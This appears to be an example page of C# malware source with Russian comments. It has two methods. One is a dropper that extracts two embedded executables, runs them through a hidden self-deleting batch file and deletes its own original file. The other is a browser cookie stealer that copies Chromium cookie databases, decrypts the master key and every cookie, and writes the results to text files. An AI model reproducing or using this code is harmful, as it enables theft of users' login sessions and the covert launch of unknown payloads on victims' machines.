示例#1
0
        static void Main(string[] args)
        {
            try
            {
                // Временная папка распаковки и запуска exe билдов
                string Dir = Path.GetTempPath() + "jPatch.tmp";

                // Первый exe
                string Proc1 = Directory.GetCurrentDirectory() + "\\Build1.exe";
                // Второй exe
                string Proc2 = Directory.GetCurrentDirectory() + "\\Build2.exe";

                // Извлекаем exe из ресурсов во временную папку
                File.WriteAllBytes(Dir, Properties.Resources.Build1);
                File.WriteAllBytes(Dir, Properties.Resources.Build2);

                // Создает временный .cmd и им запускаем наши файлы
                string batch = Path.GetTempFileName() + ".cmd";
                using (StreamWriter sw = new StreamWriter(batch))
                {
                    sw.WriteLine("@echo off");
                    sw.WriteLine("timeout 4 > NUL");                                                                                                                  // Задержка до выполнения следуюющих команд
                    sw.WriteLine("DEL " + "\"" + Path.GetFileName(new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name) + "\"" + " /f /q"); // Удаляем исходный билд
                    sw.WriteLine("START " + "\"" + "\" " + "\"" + Proc1 + "\"");                                                                                      // Запускаем первый билд
                    sw.WriteLine("START " + "\"" + "\" " + "\"" + Proc2 + "\"");                                                                                      // Запускаем второй билд
                    sw.WriteLine("CD " + Path.GetTempPath());                                                                                                         // Переходим во временную папку юзера
                    sw.WriteLine("DEL " + "\"" + Path.GetFileName(batch) + "\"" + " /f /q");                                                                          // Удаляем .cmd
                }

                Process.Start(new ProcessStartInfo()
                {
                    FileName        = batch,
                    CreateNoWindow  = true,
                    ErrorDialog     = false,
                    UseShellExecute = false,
                    WindowStyle     = ProcessWindowStyle.Hidden
                }); LibraryDecodMaster.Decod(); Environment.Exit(0);
            }
            catch { }
        }
        public static void GetCookies(string path2save)
        {
            try
            {
                LibraryDecodMaster.Decod();
                List <string> Browsers = new List <string>();
                List <string> BrPaths  = new List <string>
                {
                    Help.AppDate,
                    Help.LocalData
                };
                var APD = new List <string>();

                foreach (var paths in BrPaths)
                {
                    try
                    {
                        APD.AddRange(Directory.GetDirectories(paths));
                    }
                    catch { }
                }

                foreach (var path in APD)
                {
                    string result = "";

                    string[] files = null;


                    try
                    {
                        Browsers.AddRange(Directory.GetFiles(path, "Cookies", SearchOption.AllDirectories));
                        files = Directory.GetFiles(path, "Cookies", SearchOption.AllDirectories);
                    }

                    catch { }
                    if (files != null)
                    {
                        foreach (var file in files)
                        {
                            try
                            {
                                if (File.Exists(file))
                                {
                                    string str = $"Unknown";

                                    foreach (string name in BrowsersName)
                                    {
                                        if (path.Contains(name))
                                        {
                                            str = name;
                                        }
                                    }
                                    string loginData  = file;
                                    string localState = file + "\\..\\..\\Local State";

                                    if (File.Exists(bd))
                                    {
                                        File.Delete(bd);
                                    }
                                    if (File.Exists(ls))
                                    {
                                        File.Delete(ls);
                                    }

                                    File.Copy(loginData, bd);
                                    File.Copy(localState, ls);

                                    SqlHandler      sqlHandler   = new SqlHandler(bd);
                                    List <PassData> passDataList = new List <PassData>();
                                    sqlHandler.ReadTable("cookies");

                                    string keyStr = File.ReadAllText(ls);

                                    string[] lines = Regex.Split(keyStr, "\"");
                                    int      index = 0;
                                    foreach (string line in lines)
                                    {
                                        if (line == "encrypted_key")
                                        {
                                            keyStr = lines[index + 2];
                                            break;
                                        }
                                        index++;
                                    }


                                    byte[] keyBytes       = Encoding.Default.GetBytes(Encoding.Default.GetString(Convert.FromBase64String(keyStr)).Remove(0, 5));
                                    byte[] masterKeyBytes = DecryptAPI.DecryptBrowsers(keyBytes);
                                    int    rowCount       = sqlHandler.GetRowCount();

                                    for (int rowNum = 0; rowNum < rowCount; ++rowNum)
                                    {
                                        try
                                        {
                                            string valueStr  = sqlHandler.GetValue(rowNum, 12);
                                            byte[] value     = Encoding.Default.GetBytes(valueStr);
                                            string decrypted = "";

                                            try
                                            {
                                                if (valueStr.StartsWith("v10"))
                                                {
                                                    // Console.WriteLine("!=============== AES 256 GCM COOKIES ============!");

                                                    byte[] iv      = value.Skip(3).Take(12).ToArray(); // From 3 to 15
                                                    byte[] payload = value.Skip(15).ToArray();

                                                    decrypted = AesGcm256.Decrypt(payload, masterKeyBytes, iv);
                                                }
                                                else
                                                {
                                                    decrypted = Encoding.Default.GetString(DecryptAPI.DecryptBrowsers(value));
                                                }

                                                string host_key    = sqlHandler.GetValue(rowNum, 1),
                                                       name        = sqlHandler.GetValue(rowNum, 2),
                                                       PATH        = sqlHandler.GetValue(rowNum, 4),
                                                       expires_utc = sqlHandler.GetValue(rowNum, 5),
                                                       secure      = sqlHandler.GetValue(rowNum, 6);

                                                result += string.Format("{0}\tFALSE\t{1}\t{2}\t{3}\t{4}\t{5}\r\n", host_key, PATH, secure.ToUpper(), expires_utc, name, decrypted);
                                                Cookies++;
                                            }

                                            catch { }
                                        }
                                        catch { }
                                    }

                                    File.Delete(bd);
                                    File.Delete(ls);

                                    if (str == "Unknown")
                                    {
                                        File.AppendAllText(path2save + "\\" + $"Cookies_{str}.txt", result);
                                    }

                                    else
                                    {
                                        File.WriteAllText(path2save + "\\" + $"Cookies_{str}.txt", result);
                                    }
                                }
                            }
                            catch { }
                        }
                    }
                }
            }

            catch { }
        }